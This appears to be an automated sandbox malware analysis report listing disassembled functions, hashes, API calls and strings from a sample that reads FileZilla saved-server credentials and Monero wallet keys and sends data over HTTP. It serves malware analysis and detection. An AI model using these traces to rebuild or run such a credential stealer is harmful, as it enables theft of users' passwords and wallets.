Instruction ID: 609a8d0490eb8fe5ad40c7eb3bbbeacac11a97d6360dbf7f05b499a1872db9f5
Opcode Fuzzy Hash: b6923f3eefd06e3ed5dc0daff376640b0cd437a38c96a459ee33e3b37f4fdf91
Instruction Fuzzy Hash: 2A514DB3A182109BD3186E2DDC817BBBBD6EB94320F1A853ED6C5C3744E975980087D6

Function 00412848 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39ec2032be4eea9e1ec14b0c6d2776c6319f6d741092b45b95c7b393e1afdc34
Instruction ID: bf5b219c2567d7b4178f6a622624ecc224e3e6013e39fa94936451863562217a
Opcode Fuzzy Hash: 39ec2032be4eea9e1ec14b0c6d2776c6319f6d741092b45b95c7b393e1afdc34
Instruction Fuzzy Hash: D16116F39086109BE3146E29EC8577ABBE4EB84720F1B463DDEC8A3B40D939590486C7

Function 0057F5D6 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94fe54ddd13ad8e2f0ed2b5064ed88316c5dc74d3ea25ae4517bf25faa8166b3
Instruction ID: 1407746c43ad8e3e78da84acec5ea11f0222f56bfcfc33e39e1dc4ed230cdc48
Opcode Fuzzy Hash: 94fe54ddd13ad8e2f0ed2b5064ed88316c5dc74d3ea25ae4517bf25faa8166b3
Instruction Fuzzy Hash: A351D3B361C5119BD308EE2CE95563ABAD5FB90314F26C83ED5CAC7254EA704842B783

Function 003E7EDF Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68787be6eae9e02d8795311d5fca561918f52e594173952d0462b6863306bd69
Instruction ID: 62739374b094a49adf98400d83f7453b015b2aa106e54051c517fd84bc8c308e
Opcode Fuzzy Hash: 68787be6eae9e02d8795311d5fca561918f52e594173952d0462b6863306bd69
Instruction Fuzzy Hash: A04134F3A08210AFE7446E79DC8477AB7D9EB98720F1B053EEAC4D7B84E5355C014295

Function 0046C9C4 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1111b096715e528c09289e5d4573488d47a8b3ee0401d3e00886b5e7740e4800
Instruction ID: a627ccade63caa481224e939ad8d3a4da180ba7e40c64a9b773d034e1445bafe
Opcode Fuzzy Hash: 1111b096715e528c09289e5d4573488d47a8b3ee0401d3e00886b5e7740e4800
Instruction Fuzzy Hash: B02103B3B483044BF3588869DCC6767B2DAEBC4320F2A823D9B9587BC4DD7D1C054259

Function 000F9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 000F0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 000F8E0B

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 000E99EC
Part of subcall function 000E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 000E9A11
Part of subcall function 000E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 000E9A31
Part of subcall function 000E99C0: ReadFile.KERNEL32(000000FF,?,00000000,000E148F,00000000), ref: 000E9A5A
Part of subcall function 000E99C0: LocalFree.KERNEL32(000E148F), ref: 000E9A90
Part of subcall function 000E99C0: CloseHandle.KERNEL32(000000FF), ref: 000E9A9A

Part of subcall function 000F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 000F8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00100DBA,00100DB7,00100DB6,00100DB3), ref: 000F0362
RtlAllocateHeap.NTDLL(00000000), ref: 000F0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 000F0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 000F03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 000F0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 000F0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 000F0562
lstrcat.KERNEL32(?,profile: null), ref: 000F0571
lstrcat.KERNEL32(?,url: ), ref: 000F0580
lstrcat.KERNEL32(?,00000000), ref: 000F0593
lstrcat.KERNEL32(?,00101678), ref: 000F05A2
lstrcat.KERNEL32(?,00000000), ref: 000F05B5
lstrcat.KERNEL32(?,0010167C), ref: 000F05C4
lstrcat.KERNEL32(?,login: ), ref: 000F05D3
lstrcat.KERNEL32(?,00000000), ref: 000F05E6
lstrcat.KERNEL32(?,00101688), ref: 000F05F5
lstrcat.KERNEL32(?,password: ), ref: 000F0604
lstrcat.KERNEL32(?,00000000), ref: 000F0617
lstrcat.KERNEL32(?,00101698), ref: 000F0626
lstrcat.KERNEL32(?,0010169C), ref: 000F0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00100DB2), ref: 000F068E

Strings

\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 000F02A4
browser: FileZilla, xrefs: 000F0559
profile: null, xrefs: 000F0568
<Port>, xrefs: 000F03C6
password: , xrefs: 000F05FB
login: , xrefs: 000F05CA
<Pass encoding="base64">, xrefs: 000F045A
<User>, xrefs: 000F0410
url: , xrefs: 000F0577
<Host>, xrefs: 000F037C

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: bd5c0a13af1b0ca12af3a0f5fc467c9a7a3f20ea77eeeff96ce485268875941b
Instruction ID: bc86cc62a64d213039ef9481aac3efb8e0fcc2f8fd0f212a0c89b9b60ec43f4e
Opcode Fuzzy Hash: bd5c0a13af1b0ca12af3a0f5fc467c9a7a3f20ea77eeeff96ce485268875941b
Instruction Fuzzy Hash: F0D134B1A0010CABCB14EBF4DD55EFE777CAF55300F408418F606A6496DFB4AA0ADB62

Function 000E5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 000FA7E6

Part of subcall function 000E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 000E4839
Part of subcall function 000E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 000E4849

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 000E59F8
StrCmpCA.SHLWAPI(?,0122E878), ref: 000E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 000E5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0122E898,00000000,?,0122A570,00000000,?,00101A1C), ref: 000E5E71
lstrlen.KERNEL32(00000000), ref: 000E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 000E5E93
RtlAllocateHeap.NTDLL(00000000), ref: 000E5E9A
lstrlen.KERNEL32(00000000), ref: 000E5EAF
lstrlen.KERNEL32(00000000), ref: 000E5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 000E5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 000E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 000E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 000E5F4C
InternetCloseHandle.WININET(00000000), ref: 000E5FB0
InternetCloseHandle.WININET(00000000), ref: 000E5FBD
HttpOpenRequestA.WININET(00000000,0122E768,?,0122E458,00000000,00000000,00400100,00000000), ref: 000E5BF8

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

InternetCloseHandle.WININET(00000000), ref: 000E5FC7

Strings

------, xrefs: 000E5C0B
", xrefs: 000E5CD5
------, xrefs: 000E5A96
", xrefs: 000E5E16
------, xrefs: 000E5D4C

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 6e1224eb1fceb909fa31c919d4d573f7298c782f9a0d6c2c03944bdf4974e99d
Instruction ID: 2441efe49678f51851d18afa356fb48ed7aac3a17883bd6f162b2a63e08617d3
Opcode Fuzzy Hash: 6e1224eb1fceb909fa31c919d4d573f7298c782f9a0d6c2c03944bdf4974e99d
Instruction Fuzzy Hash: 991210B192011CABCB15EBA0DC95FEEB378BF15740F404169B20A62492DFB42B4ADF65

Function 000ECEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000F8B60: GetSystemTime.KERNEL32(00100E1A,0122A2A0,001005AE,?,?,000E13F9,?,0000001A,00100E1A,00000000,?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000F8B86

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 000ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 000ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 000ED0CE
lstrcat.KERNEL32(?,00000000), ref: 000ED208
lstrcat.KERNEL32(?,00101478), ref: 000ED217
lstrcat.KERNEL32(?,00000000), ref: 000ED22A
lstrcat.KERNEL32(?,0010147C), ref: 000ED239
lstrcat.KERNEL32(?,00000000), ref: 000ED24C
lstrcat.KERNEL32(?,00101480), ref: 000ED25B
lstrcat.KERNEL32(?,00000000), ref: 000ED26E
lstrcat.KERNEL32(?,00101484), ref: 000ED27D
lstrcat.KERNEL32(?,00000000), ref: 000ED290
lstrcat.KERNEL32(?,00101488), ref: 000ED29F
lstrcat.KERNEL32(?,00000000), ref: 000ED2B2
lstrcat.KERNEL32(?,0010148C), ref: 000ED2C1
lstrcat.KERNEL32(?,00000000), ref: 000ED2D4
lstrcat.KERNEL32(?,00101490), ref: 000ED2E3

Part of subcall function 000FA820: lstrlen.KERNEL32(000E4F05,?,?,000E4F05,00100DDE), ref: 000FA82B
Part of subcall function 000FA820: lstrcpy.KERNEL32(00100DDE,00000000), ref: 000FA885

lstrlen.KERNEL32(?), ref: 000ED32A
lstrlen.KERNEL32(?), ref: 000ED339

Part of subcall function 000FAA70: StrCmpCA.SHLWAPI(012290C8,000EA7A7,?,000EA7A7,012290C8), ref: 000FAA8F

DeleteFileA.KERNEL32(00000000), ref: 000ED3B4

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 77bf37e1065b1bb003e3ac58809babbdf9d6163d918e482d8e45e6b41bc2dd58
Instruction ID: 89455420dd6d133368beb576a77d98a74b3bb09347bfc20f044af028ca705b0b
Opcode Fuzzy Hash: 77bf37e1065b1bb003e3ac58809babbdf9d6163d918e482d8e45e6b41bc2dd58
Instruction Fuzzy Hash: C4E153B1A10108ABCB15EBA0DD95EFE737CBF15301F104058F60AB6492DF75AA0ADB62

Function 000EC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0122D590,00000000,?,0010144C,00000000,?,?), ref: 000ECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 000ECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 000ECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 000ECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 000ECAD9
StrStrA.SHLWAPI(?,0122D4E8,00100B52), ref: 000ECAF7
StrStrA.SHLWAPI(00000000,0122D4A0), ref: 000ECB1E
StrStrA.SHLWAPI(?,0122D680,00000000,?,00101458,00000000,?,00000000,00000000,?,01228FD8,00000000,?,00101454,00000000,?), ref: 000ECCA2
StrStrA.SHLWAPI(00000000,0122D800), ref: 000ECCB9

Part of subcall function 000EC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 000EC871
Part of subcall function 000EC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 000EC87C

StrStrA.SHLWAPI(?,0122D800,00000000,?,0010145C,00000000,?,00000000,01228FF8), ref: 000ECD5A
StrStrA.SHLWAPI(00000000,012291D8), ref: 000ECD71

